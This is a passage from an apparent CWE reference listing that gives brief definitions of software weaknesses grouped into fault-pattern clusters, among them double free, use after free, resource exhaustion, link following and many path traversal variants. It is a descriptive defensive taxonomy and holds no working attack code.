888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 974 (SFP Secondary Cluster: Incorrect Buffer Length Computation) > 135 (Incorrect Calculation of Multi-Byte String Length)
The product does not correctly calculate the length of strings that can contain wide or multi-byte characters.
*CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.Often Misused: String Management - (251)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 974 (SFP Secondary Cluster: Incorrect Buffer Length Computation) > 251 (Often Misused: String Management)
Functions that manipulate strings encourage buffer overflows.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Use of sizeof() on a Pointer Type - (467)
888 (Software Fault Pattern (SFP) Clusters) > 890 (SFP Primary Cluster: Memory Access) > 974 (SFP Secondary Cluster: Incorrect Buffer Length Computation) > 467 (Use of sizeof() on a Pointer Type)
The code calls sizeof() on a malloced pointer type, which always returns the wordsize/8. This can produce an unexpected result if the programmer intended to determine how much memory has been allocated.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Memory Management - (891)
888 (Software Fault Pattern (SFP) Clusters) > 891 (SFP Primary Cluster: Memory Management)
This category identifies Software Fault Patterns (SFPs) within the Memory Management cluster (SFP38).
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Faulty Memory Release - (969)
888 (Software Fault Pattern (SFP) Clusters) > 891 (SFP Primary Cluster: Memory Management) > 969 (SFP Secondary Cluster: Faulty Memory Release)
This category identifies Software Fault Patterns (SFPs) within the Faulty Memory Release cluster (SFP12).
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Double Free - (415)
888 (Software Fault Pattern (SFP) Clusters) > 891 (SFP Primary Cluster: Memory Management) > 969 (SFP Secondary Cluster: Faulty Memory Release) > 415 (Double Free)
The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.Double-free
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Free of Memory not on the Heap - (590)
888 (Software Fault Pattern (SFP) Clusters) > 891 (SFP Primary Cluster: Memory Management) > 969 (SFP Secondary Cluster: Faulty Memory Release) > 590 (Free of Memory not on the Heap)
The product calls free() on a pointer to memory that was not allocated using associated heap allocation functions such as malloc(), calloc(), or realloc().
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Free of Pointer not at Start of Buffer - (761)
888 (Software Fault Pattern (SFP) Clusters) > 891 (SFP Primary Cluster: Memory Management) > 969 (SFP Secondary Cluster: Faulty Memory Release) > 761 (Free of Pointer not at Start of Buffer)
The product calls free() on a pointer to a memory resource that was allocated on the heap, but the pointer is not at the start of the buffer.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Release of Invalid Pointer or Reference - (763)
888 (Software Fault Pattern (SFP) Clusters) > 891 (SFP Primary Cluster: Memory Management) > 969 (SFP Secondary Cluster: Faulty Memory Release) > 763 (Release of Invalid Pointer or Reference)
The product attempts to return a memory resource to the system, but it calls the wrong release function or calls the appropriate release function incorrectly.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Resource Management - (892)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management)
This category identifies Software Fault Patterns (SFPs) within the Resource Management cluster (SFP37).
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Failure to Release Resource - (982)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management) > 982 (SFP Secondary Cluster: Failure to Release Resource)
This category identifies Software Fault Patterns (SFPs) within the Failure to Release Resource cluster (SFP14).
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Resource Shutdown or Release - (404)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management) > 982 (SFP Secondary Cluster: Failure to Release Resource) > 404 (Improper Resource Shutdown or Release)
The product does not release or incorrectly releases a resource before it is made available for re-use.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Incomplete Cleanup - (459)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management) > 982 (SFP Secondary Cluster: Failure to Release Resource) > 459 (Incomplete Cleanup)
The product does not properly "clean up" and remove temporary or supporting resources after they have been used.Insufficient Cleanup
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Missing Reference to Active Allocated Resource - (771)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management) > 982 (SFP Secondary Cluster: Failure to Release Resource) > 771 (Missing Reference to Active Allocated Resource)
The product does not properly maintain a reference to a resource that has been allocated, which prevents the resource from being reclaimed.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Missing Release of Resource after Effective Lifetime - (772)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management) > 982 (SFP Secondary Cluster: Failure to Release Resource) > 772 (Missing Release of Resource after Effective Lifetime)
The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Missing Reference to Active File Descriptor or Handle - (773)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management) > 982 (SFP Secondary Cluster: Failure to Release Resource) > 773 (Missing Reference to Active File Descriptor or Handle)
The product does not properly maintain references to a file descriptor or handle, which prevents that file descriptor/handle from being reclaimed.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Missing Release of File Descriptor or Handle after Effective Lifetime - (775)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management) > 982 (SFP Secondary Cluster: Failure to Release Resource) > 775 (Missing Release of File Descriptor or Handle after Effective Lifetime)
The product does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Faulty Resource Use - (983)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management) > 983 (SFP Secondary Cluster: Faulty Resource Use)
This category identifies Software Fault Patterns (SFPs) within the Faulty Resource Use cluster (SFP15).
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Use After Free - (416)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management) > 983 (SFP Secondary Cluster: Faulty Resource Use) > 416 (Use After Free)
Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.Dangling pointerUse-After-Free
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Operation on a Resource after Expiration or Release - (672)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management) > 983 (SFP Secondary Cluster: Faulty Resource Use) > 672 (Operation on a Resource after Expiration or Release)
The product uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Life Cycle - (984)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management) > 984 (SFP Secondary Cluster: Life Cycle)
This category identifies Software Fault Patterns (SFPs) within the Life Cycle cluster.
*PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.Improper Control of a Resource Through its Lifetime - (664)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management) > 984 (SFP Secondary Cluster: Life Cycle) > 664 (Improper Control of a Resource Through its Lifetime)
The product does not maintain or incorrectly maintains control over a resource throughout its lifetime of creation, use, and release.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Operation on Resource in Wrong Phase of Lifetime - (666)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management) > 984 (SFP Secondary Cluster: Life Cycle) > 666 (Operation on Resource in Wrong Phase of Lifetime)
The product performs an operation on a resource at the wrong phase of the resource's lifecycle, which can lead to unexpected behaviors.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Multiple Operations on Resource in Single-Operation Context - (675)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management) > 984 (SFP Secondary Cluster: Life Cycle) > 675 (Multiple Operations on Resource in Single-Operation Context)
The product performs the same operation on a resource two or more times, when the operation should only be applied once.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Multiple Resources with Duplicate Identifier - (694)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management) > 984 (SFP Secondary Cluster: Life Cycle) > 694 (Use of Multiple Resources with Duplicate Identifier)
The product uses multiple resources that can have the same identifier, in a context in which unique identifiers are required.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Unrestricted Consumption - (985)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management) > 985 (SFP Secondary Cluster: Unrestricted Consumption)
This category identifies Software Fault Patterns (SFPs) within the Unrestricted Consumption cluster (SFP13).
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Uncontrolled Resource Consumption - (400)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management) > 985 (SFP Secondary Cluster: Unrestricted Consumption) > 400 (Uncontrolled Resource Consumption)
The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.Resource Exhaustion
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Uncontrolled Recursion - (674)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management) > 985 (SFP Secondary Cluster: Unrestricted Consumption) > 674 (Uncontrolled Recursion)
The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.Stack Exhaustion
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Allocation of Resources Without Limits or Throttling - (770)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management) > 985 (SFP Secondary Cluster: Unrestricted Consumption) > 770 (Allocation of Resources Without Limits or Throttling)
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Allocation of File Descriptors or Handles Without Limits or Throttling - (774)
888 (Software Fault Pattern (SFP) Clusters) > 892 (SFP Primary Cluster: Resource Management) > 985 (SFP Secondary Cluster: Unrestricted Consumption) > 774 (Allocation of File Descriptors or Handles Without Limits or Throttling)
The product allocates file descriptors or handles on behalf of an actor without imposing any restrictions on how many descriptors can be allocated, in violation of the intended security policy for that actor.File Descriptor Exhaustion
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Path Resolution - (893)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution)
This category identifies Software Fault Patterns (SFPs) within the Path Resolution cluster (SFP16, SFP17, SFP18).
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Failed Chroot Jail - (979)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 979 (SFP Secondary Cluster: Failed Chroot Jail)
This category identifies Software Fault Patterns (SFPs) within the Failed Chroot Jail cluster (SFP17).
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Creation of chroot Jail Without Changing Working Directory - (243)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 979 (SFP Secondary Cluster: Failed Chroot Jail) > 243 (Creation of chroot Jail Without Changing Working Directory)
The product uses the chroot() system call to create a jail, but does not change the working directory afterward. This does not prevent access to files outside of the jail.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Link in Resource Name Resolution - (980)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 980 (SFP Secondary Cluster: Link in Resource Name Resolution)
This category identifies Software Fault Patterns (SFPs) within the Link in Resource Name Resolution cluster (SFP18).
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Symbolic Name not Mapping to Correct Object - (386)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 980 (SFP Secondary Cluster: Link in Resource Name Resolution) > 386 (Symbolic Name not Mapping to Correct Object)
A constant symbolic reference to an object is used, even though the reference can resolve to a different object over time.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Link Resolution Before File Access ('Link Following') - (59)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 980 (SFP Secondary Cluster: Link in Resource Name Resolution) > 59 (Improper Link Resolution Before File Access ('Link Following'))
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.insecure temporary fileZip Slip
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Externally Controlled Reference to a Resource in Another Sphere - (610)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 980 (SFP Secondary Cluster: Link in Resource Name Resolution) > 610 (Externally Controlled Reference to a Resource in Another Sphere)
The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.UNIX Hard Link - (62)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 980 (SFP Secondary Cluster: Link in Resource Name Resolution) > 62 (UNIX Hard Link)
The product, when opening a file or directory, does not sufficiently account for when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Windows Shortcut Following (.LNK) - (64)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 980 (SFP Secondary Cluster: Link in Resource Name Resolution) > 64 (Windows Shortcut Following (.LNK))
The product, when opening a file or directory, does not sufficiently handle when the file is a Windows shortcut (.LNK) whose target is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.Windows symbolic link followingsymlink
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Windows Hard Link - (65)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 980 (SFP Secondary Cluster: Link in Resource Name Resolution) > 65 (Windows Hard Link)
The product, when opening a file or directory, does not sufficiently handle when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Path Traversal - (981)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal)
This category identifies Software Fault Patterns (SFPs) within the Path Traversal cluster (SFP16).
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - (22)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'))
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.Directory traversalPath traversal
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Relative Path Traversal - (23)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 23 (Relative Path Traversal)
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.Zip Slip
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Traversal: '../filedir' - (24)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 24 (Path Traversal: '../filedir')
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Traversal: '/../filedir' - (25)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 25 (Path Traversal: '/../filedir')
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/../" sequences that can resolve to a location that is outside of that directory.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Traversal: '/dir/../filename' - (26)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 26 (Path Traversal: '/dir/../filename')
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/dir/../filename" sequences that can resolve to a location that is outside of that directory.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Traversal: 'dir/../../filename' - (27)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 27 (Path Traversal: 'dir/../../filename')
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize multiple internal "../" sequences that can resolve to a location that is outside of that directory.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Traversal: '..\filedir' - (28)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 28 (Path Traversal: '..\filedir')
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "..\" sequences that can resolve to a location that is outside of that directory.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Traversal: '\..\filename' - (29)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 29 (Path Traversal: '\..\filename')
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Traversal: '\dir\..\filename' - (30)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 30 (Path Traversal: '\dir\..\filename')
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\dir\..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Traversal: 'dir\..\..\filename' - (31)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 31 (Path Traversal: 'dir\..\..\filename')
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize 'dir\..\..\filename' (multiple internal backslash dot dot) sequences that can resolve to a location that is outside of that directory.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Traversal: '...' (Triple Dot) - (32)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 32 (Path Traversal: '...' (Triple Dot))
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '...' (triple dot) sequences that can resolve to a location that is outside of that directory.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Traversal: '....' (Multiple Dot) - (33)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 33 (Path Traversal: '....' (Multiple Dot))
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....' (multiple dot) sequences that can resolve to a location that is outside of that directory.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Traversal: '....//' - (34)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 34 (Path Traversal: '....//')
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....//' (doubled dot dot slash) sequences that can resolve to a location that is outside of that directory.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Traversal: '.../...//' - (35)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 35 (Path Traversal: '.../...//')
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '.../...//' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Absolute Path Traversal - (36)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 36 (Absolute Path Traversal)
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Traversal: '/absolute/pathname/here' - (37)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 37 (Path Traversal: '/absolute/pathname/here')
The product accepts input in the form of a slash absolute path ('/absolute/pathname/here') without appropriate validation, which can allow an attacker to traverse the file system to unintended locations or access arbitrary files.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Traversal: '\absolute\pathname\here' - (38)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 38 (Path Traversal: '\absolute\pathname\here')
The product accepts input in the form of a backslash absolute path ('\absolute\pathname\here') without appropriate validation, which can allow an attacker to traverse the file system to unintended locations or access arbitrary files.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Traversal: 'C:dirname' - (39)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 39 (Path Traversal: 'C:dirname')
The product accepts input that contains a drive letter or Windows volume letter ('C:dirname') that potentially redirects access to an unintended location or arbitrary file.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Path Traversal: '\\UNC\share\name\' (Windows UNC Share) - (40)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 40 (Path Traversal: '\\UNC\share\name\' (Windows UNC Share))
The product accepts input that identifies a Windows UNC share ('\\UNC\share\name') that potentially redirects access to an unintended location or arbitrary file.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Resolution of Path Equivalence - (41)
888 (Software Fault Pattern (SFP) Clusters) > 893 (SFP Primary Cluster: Path Resolution) > 981 (SFP Secondary Cluster: Path Traversal) > 41 (Improper Resolution of Path Equivalence)
